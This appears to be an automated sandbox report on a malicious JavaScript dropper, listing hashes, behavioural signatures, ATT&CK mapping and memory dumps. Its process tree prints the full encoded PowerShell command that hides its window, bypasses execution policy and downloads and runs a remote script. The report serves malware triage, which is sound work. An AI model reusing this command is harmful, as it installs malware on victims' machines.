0ba6c9755e3d19e06bef73dc17e0f38b879c0a209aa372d6334ba06f79698690

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24-12-2023 23:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7417-4966073.js
Size

359KB
MD5

166148818f8e15930e4c30f8459ed5e7
SHA1

93747227be5e8b85fd7e6f7bb9b0a328a920d985
SHA256

22ed16ed1f92309c17f817d51c7f8275bab443db12b18fd155b6f7b738e83e07
SHA512

7cb05f2ec3bb17d14ed3812768e061e66548410fa52891e26626e02397c5c398555549bb80d3728e33ffbcd8fa03e17770d5fc9ebc14f21c5d2232e7ceb14aa9
SSDEEP

6144:wnmYuEbKxWJ8czDK2e2LbklGk8HPKUeIgbrAGHW3XvxsHpxJ:s8c3teZlGkoKrAGQJUR

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://www.musanegra.it/wpreveniu.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2380	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 1756	2240	wscript.exe	28
PID 2240 wrote to memory of 1756	2240	wscript.exe	28
PID 2240 wrote to memory of 1756	2240	wscript.exe	28
PID 1756 wrote to memory of 2380	1756	cmd.exe	30
PID 1756 wrote to memory of 2380	1756	cmd.exe	30
PID 1756 wrote to memory of 2380	1756	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7417-4966073.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAHUAcwBhAG4AZQBnAHIAYQAuAGkAdAAvAHcAcAByAGUAdgBlAG4AaQB1AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAHUAcwBhAG4AZQBnAHIAYQAuAGkAdAAvAHcAcAByAGUAdgBlAG4AaQB1AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2380-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2380-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2380-7-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-8-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2380-9-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2380-10-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2380-12-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2380-11-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-13-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-14-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2380-15-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2380-16-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download